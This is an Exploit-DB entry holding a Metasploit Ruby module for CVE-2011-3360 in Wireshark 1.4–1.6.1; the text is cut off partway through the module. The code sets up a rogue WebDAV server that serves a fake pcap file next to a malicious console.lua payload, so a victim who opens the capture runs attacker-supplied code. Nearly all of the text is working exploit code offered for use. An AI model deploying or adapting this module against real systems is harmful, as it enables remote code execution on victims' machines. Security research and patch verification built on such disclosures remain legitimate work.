Exploit-DB #18125
Description: Wireshark - console.lua pre-loading (Metasploit)
Type: remote
Platform: windows
Date: 2011-11-19
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Wireshark console.lua pre-loading vulnerability",
			'Description'    => %q{
					This modules exploits a vulnerability in Wireshark 1.6 or less. When opening a
				pcap file, Wireshark will actually check if there's a 'console.lua' file in the same
				directory, and then parse/execute the script if found.  Versions affected by this
				vulnerability: 1.6.0 to 1.6.1, 1.4.0 to 1.4.8
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'sinn3r',  #Metasploit
				],
			'References'     =>
				[
					['CVE', '2011-3360'],
					['OSVDB', '75347'],
					['URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=6136'],
					['URL', 'http://technet.microsoft.com/en-us/security/advisory/2269637']
				],
			'Payload'        =>
				{
					'BadChars' => "\x00",
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "none"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Wireshark 1.6.1 or less', {}],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jul 18 2011",  #Didn't go public until 2011-09-21 though
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new('SRVPORT',     [ true, "The daemon port to listen on (do not change)", 80 ]),
				OptString.new('SHARENAME', [ true, "The name of the top-level share.", "files"]),
				OptString.new('URIPATH',   [ true, "The URI to use", "/" ]),
				OptString.new('FILENAME',  [ true, "The name of the pcap file", "msf.pcap"])
			], self.class)

		deregister_options('SSL', 'SSLVersion') # WebDAV does not support SSL
	end

	def on_request_uri(cli, request)
		case request.method
		when 'OPTIONS'
			process_options(cli, request)
		when 'PROPFIND'
			process_propfind(cli, request)
		when 'GET'
			process_get(cli, request)
		else
			print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})")
			resp = create_response(404, "Not Found")
			resp.body = ""
			resp['Content-Type'] = 'text/html'
			cli.send_response(resp)
		end
	end

	def process_get(cli, request)
		print_status("URI requested: #{request.uri.to_s}")
		if request.uri =~ /\.lua$/
			# Load lua script
			print_status("Sending lua script")
			send_response(cli, @p, {'Content-Type'=>'application/octet-stream'})
		elsif request.uri =~ /#{datastore['FILENAME']}/
			# Load an empty pcap file
			# Format reference: http://wiki.wireshark.org/Development/LibpcapFileFormat
			pcap = ''
			pcap << "\xd4\xc3\xb2\xa1"  #Magic number
			pcap << "\x02\x00"          #Major version number
			pcap << "\x04\x00"          #Minor version number
			pcap << "\x00\x00\x00\x00"  #GMT to local correction
			pcap << "\x00\x00\x00\x00"  #Accuracy of timestamp
			pcap << "\xff\xff\x00\x00"  #Maxlength of captured packets in octets
			pcap << "\x01\x00\x00\x00"  #Data length type
			print_status("Sending fake pcap file")
			send_response(cli, pcap, {'Content-Type'=>'application/octet-stream'})
		else
			# Don't know the request, return not found
			print_error("Don't care about this file, 404")
			send_not_found(cli)
		end
		return
	end

	def process_options(cli, request)
		vprint_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")
		headers = {
			'MS-Author-Via' => 'DAV',
			'DASL'          => '<DAV:sql>',
			'DAV'           => '1, 2',
			'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
			'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
			'Cache-Control' => 'private'
		}

		resp = create_response(207, "Multi-Status")
		headers.each_pair {|k,v| resp[k] = v }
		resp.body = ''
		resp['Content-Type'] = 'text/xml'
		cli.send_response(resp)
	end

	def process_propfind(cli, request)
		path = request.uri
		vprint_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
		body = ''

		my_host   = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		my_uri    = "http://#{my_host}/"

		if path !~ /\/$/
			if path.index(".")
				print_status("Sending 404 for #{path} ...")
				resp = create_response(404, "Not Found")
				resp['Content-Type'] = 'text/html'
				cli.send_response(resp)
				return
			else
				print_status("Sending 301 for #{path} ...")
				resp = create_response(301, "Moved")
				resp["Location"] = path + "/"
				resp['Content-Type'] = 'text/html'
				cli.send_response(resp)
				return
			end
		end

		print_status("Sending directory multistatus for #{path} ...")

		body = <<-BODY
		<?xml version="1.0" encoding="utf-8"?>
		<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
		<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
		<D:href>#{path}</D:href>
		<D:propstat>
		<D:prop>
		<lp1:resourcetype><D:collection/></lp1:resourcetype>
		<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
		<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
		<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
		<D:supportedlock>
		<D:lockentry>
		<D:lockscope><D:exclusive/></D:lockscope>
		<D:locktype><D:write/></D:locktype>
		</D:lockentry>
		<D:lockentry>
		<D:lockscope><D:shared/></D:lockscope>
		<D:locktype><D:write/></D:locktype>
		</D:lockentry>
		</D:supportedlock>
		<D:lockdiscovery/>